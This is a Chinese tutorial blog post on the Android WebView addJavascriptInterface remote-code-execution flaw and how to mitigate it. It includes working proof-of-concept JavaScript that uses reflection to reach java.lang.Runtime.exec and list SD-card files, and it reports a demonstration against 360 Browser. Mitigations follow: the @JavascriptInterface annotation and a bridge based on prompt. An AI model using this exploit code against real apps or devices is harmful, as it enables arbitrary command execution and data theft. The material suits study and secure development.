1,使用场景
我们很多时候要使用WebView来展示一个网页,现在很多应用为了做到服务端可控,很多结果页都是网页的,而不是本地实现,这样做有很多好处,比如界面的改变不需要重新发布新版本,直接在Server端修改就行了。用网页来展示界面,通常情况下都或多或少都与Java代码有交互,比如点击网页上面的一个按钮,我们需要知道这个按钮点击事件,或者我们要调用某个方法,让页面执行某种动作,为了实现这些交互,我们通常都是使用JS来实现,而WebView已经提供了这样的方法,具体用法如下:
[java] view plain copy
- mWebView.getSettings().setJavaScriptEnabled(true);
- mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
我们向WebView注册一个名叫“jsInterface”的对象,然后在JS中可以访问到jsInterface这个对象,就可以调用这个对象的一些方法,最终可以调用到Java代码中,从而实现了JS与Java代码的交互。
我们一起来看看关于addJavascriptInterface方法在Android官网的描述:
- This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API level
JELLY_BEAN
- JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.
- The Java object's fields are not accessible.
简单地说,就是用addJavascriptInterface可能导致不安全,因为JS可能包含恶意代码。今天我们要说的这个漏洞就是这个,当JS包含恶意代码时,它可以干任何事情。
2,漏洞描述
通过JavaScript,可以访问当前设备的SD卡上面的任何东西,甚至是联系人信息,短信等。这很恶心吧,嘎嘎。好,我们一起来看看是怎么出现这样的错误的。可以去看看乌云平台上的这个bug描述: 猛点这里
1,WebView添加了JavaScript对象,并且当前应用具有读写SDCard的权限,也就是:android.permission.WRITE_EXTERNAL_STORAGE
2,JS中可以遍历window对象,找到存在“getClass”方法的对象的对象,然后再通过反射的机制,得到Runtime对象,然后调用静态方法来执行一些命令,比如访问文件的命令.
3,再从执行命令后返回的输入流中得到字符串,就可以得到文件名的信息了。然后想干什么就干什么,好危险。核心JS代码如下:
[javascript] view plain copy
- function execute(cmdArgs)
- {
- for (var obj in window) {
- if ("getClass" in window[obj]) {
- alert(obj);
- return window[obj].getClass().forName("java.lang.Runtime")
- "getRuntime",null).invoke(null,null).exec(cmdArgs);
- }
- }
- }
3,漏洞证明
举例一:为了证明这个漏洞,写了一个demo来说明。我就只是加载一个包含恶意JS代码的本地网页,HTML其代码如下:
[html] view plain copy
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
- <script>
- i=0;
- function getContents(inputStream)
- {
- contents = ""+i;
- b = inputStream.read();
- i = 1;
- while(b != -1) {
- bString = String.fromCharCode(b);
- contents += bString;
- contents += "\n"
- b = inputStream.read();
- }
- i=i+1;
- return contents;
- }
- function execute(cmdArgs)
- {
- for (var obj in window) {
- console.log(obj);
- if ("getClass" in window[obj]) {
- alert(obj);
- return window[obj].getClass().forName("java.lang.Runtime").
- getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
- }
- }
- }
- p = execute(["ls","/mnt/sdcard/"]);
- document.write(getContents(p.getInputStream()));
- </script>
- <script language="javascript">
- function onButtonClick()
- {
- // Call the method of injected object from Android source.
- text = jsInterface.onButtonClick("从JS中传递过来的文本!!!");
- alert(text);
- }
- function onImageClick()
- {
- //Call the method of injected object from Android source.
- src = document.getElementById("image").src;
- width = document.getElementById("image").width;
- height = document.getElementById("image").height;
- // Call the method of injected object from Android source.
- jsInterface.onImageClick(src, width, height);
- }
- </script>
- </head>
- <body>
- <p>点击图片把URL传到Java代码</p>
- <img class="curved_box" id="image"
- onclick="onImageClick()"
- width="328"
- height="185"
- src="http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg"
- onerror="this.src='background_chl.jpg'"/>
- </p>
- <button type="button" onclick="onButtonClick()">与Java代码交互</button>
- </body>
- </html>
这段HTML的运行效果如下:
图一:期望运行结果图
按钮后,JS中传递 一段文本到Java代码,显示一下个toast,点击 图片后,把图片的URL,width,height传到Java层,也用toast显示出来。
要实现这样的功能,就需要注Java对象。
简单说明一下
1,请看 execute()这个方法,它遍历所有window的对象,然后找到包含getClass方法的对象,利用这个对象的类,找到java.lang.Runtime对象,然后调用“getRuntime”静态方法方法得到Runtime的实例,再调用exec()方法来执行某段命令。
2,getContents()方法,从流中读取内容,显示在界面上。
3,关键的代码就是以下两句
[javascript] view plain copy
- return window[obj].getClass().forName("java.lang.Runtime").
- "getRuntime",null).invoke(null,null).exec(cmdArgs);
Java代码实现如下:
[java] view plain copy
- mWebView = (WebView) findViewById(R.id.webview);
- mWebView.getSettings().setJavaScriptEnabled(true);
- mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
- mWebView.loadUrl("file:///android_asset/html/test.html");
需要添加的权限:
[html] view plain copy
- <uses-permission android:name="android.permission.INTERNET"/>
- <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
- <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
当点击LOAD菜单后,运行截图如下:(理论上应该出现图一界面)
图二:实际运行结果,列出了SDCard中的文件
举例二:360浏览器也存在这个问题,我测试的系统是android 4.0.2,360浏览器版本是:4.8.7
在浏览器输入框中输入:http://bitkiller.duapp.com/jsobj.html,然后前往,它会出现如下的界面
图三:360浏览器运行结果
说明:其中searchBoxJavaBridge_不是360注入的对象,而是WebView内部注入的,这是在3.0以后的Android系统上添加的。
在关闭这个对话框之后,它会列出当前SDCard上面的所有文件列表,如下图所示
图四:错误结果
4,解决方案
1,Android 4.2以上的系统
在Android 4.2以上的,google作了修正,通过在Java的远程方法上面声明一个@JavascriptInterface,如下面代码:
[java] view plain copy
- class JsObject {
- @JavascriptInterface
- public String toString() { return "injectedObject"; }
- }
- webView.addJavascriptInterface(new JsObject(), "injectedObject");
- webView.loadData("", "text/html", null);
- webView.loadUrl("javascript:alert(injectedObject.toString())");
2,Android 4.2以下的系统
这个问题比较难解决,但也不是不能解决。
首先,我们肯定不能再调用addJavascriptInterface方法了。关于这个问题,最核心的就是要知道JS事件这一个动作,JS与Java进行交互我们知道,有以下几种,比prompt, alert等,这样的动作都会对应到 WebChromeClient类中相应的方法,对于prompt,它对应的方法是 onJsPrompt方法,这个方法的声明如下:
[java] view plain copy
- public boolean onJsPrompt(WebView view, String url, String message,
- String defaultValue, JsPromptResult result)
通过这个方法,JS能把信息(文本)传递到Java,而Java也能把信息(文本)传递到JS中,通知这个思路我们能不能找到解决方案呢?
经过一番尝试与分析,找到一种比较可行的方案,请看下面几个小点:
【1】让JS调用一个Javascript方法,这个方法中是调用prompt方法,通过prompt把JS中的信息传递过来,这些信息应该是我们组合成的一段有意义的文本,可能包含: 特定标识,方法名称,参数等。在 onJsPrompt方法中,我们去解析传递过来的文本,得到方法名,参数等,再通过反射机制,调用指定的方法,从而调用到Java对象的方法。
【2】关于返回值,可以通过prompt返回回去,这样就可以把Java中方法的处理结果返回到Js中。
【3】我们需要动态生成一段声明Javascript方法的JS脚本,通过loadUrl来加载它,从而注册到html页面中,具体的代码如下:
[javascript] view plain copy
- javascript:(function JsAddJavascriptInterface_(){
- if (typeof(window.jsInterface)!='undefined') {
- 'window.jsInterface_js_interface_name is exist!!');}
- else {
- window.jsInterface = {
- function(arg0) {
- return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));
- },
- function(arg0,arg1,arg2) {
- 'MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));
- },
- };
- }
- }
- )()
说明:
1,上面代码中的 jsInterface就是要注册的对象名,它注册了两个方法, onButtonClick(arg0)和onImageClick(arg0, arg1, arg2),如果有返回值,就添加上return。
2,prompt中是我们约定的字符串,它包含特定的标识符 MyApp:,后面包含了一串JSON字符串,它包含了 方法名,参数,对象名等。
3,当JS调用onButtonClick或onImageClick时,就会回调到Java层中的
onJsPrompt方法,我们再解析出方法名,参数,对象名,再反射调用方法。
4,window.jsInterface这表示在window上声明了一个Js对象,声明方法的形式是: 方法名:function(参数1,参数2)
5,一些思考
以下是在实现这个解决方案过程中遇到的一些问题和思考:
【1】生成Js方法后,加载这段Js的时机是什么?
刚开始时在当WebView正常加载URL后去加载Js,但发现会存在问题,如果当WebView跳转到下一个页面时,之前加载的Js就可能无效了,所以需要再次加载。这个问题经过尝试,需要在以下几个方法中加载Js,它们是WebChromeClient和WebViewClient的方法:
- onLoadResource
- doUpdateVisitedHistory
- onPageStarted
- onPageFinished
- onReceivedTitle
- onProgressChanged
目前测试了这几个地方,没什么问题,这里我也不能完全确保没有问题。
【2】需要过滤掉Object类的方法
由于通过反射的形式来得到指定对象的方法,他会把基类的方法也会得到,最顶层的基类就是Object,所以我们为了不把getClass方法注入到Js中,所以我们需要把Object的公有方法过滤掉。这里严格说来,应该有一个需要过滤方法的列表。目前我的实现中,需要过滤的方法有:
"getClass",
"hashCode",
"notify",
"notifyAll",
"equals",
"toString",
"wait",
【3】通过手动loadUrl来加载一段js,这种方式难道js中的对象就不在window中吗?也就是说,通过遍历window的对象,不能找到我们通过loadUrl注入的js对象吗?
关于这个问题,我们的方法是通过Js声明的,通过loadUrl的形式来注入到页面中,其实本质相当于把我们这动态生成的这一段Js直接写在Html页面中,所以,这些Js中的window中虽然包含了我们声明的对象,但是他们并不是Java对象,他们是通过Js语法声明的,所以不存在getClass之类的方法。本质上他们是Js对象。
【4】在Android 3.0以下,系统自己添加了一个叫searchBoxJavaBridge_的Js接口,要解决这个安全问题,我们也需要把这个接口删除,调用removeJavascriptInterface方法。这个searchBoxJavaBridge_好像是跟google的搜索框相关的。
【5】在实现过程中,我们需要判断系统版本是否在4.2以下,因为在4.2以上,Android修复了这个安全问题。我们只是需要针对4.2以下的系统作修复。
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源码下载
addJavaScriptInterface()引起的安全问题
这个问题主要是因为会有恶意的js代码注入,尤其是在已经获取root权限的手机上,一些恶意程序可能会利用该漏洞安装或者卸载应用.
关于详细的情况可以参考: https://github.com/pedant/safe- Java -js-webview-bridge, 该项目利用onJsPrompt() 替代了addJavaScriptInterface(),同时增加了异步回调,
很好地解决了webview js注入的安全问题.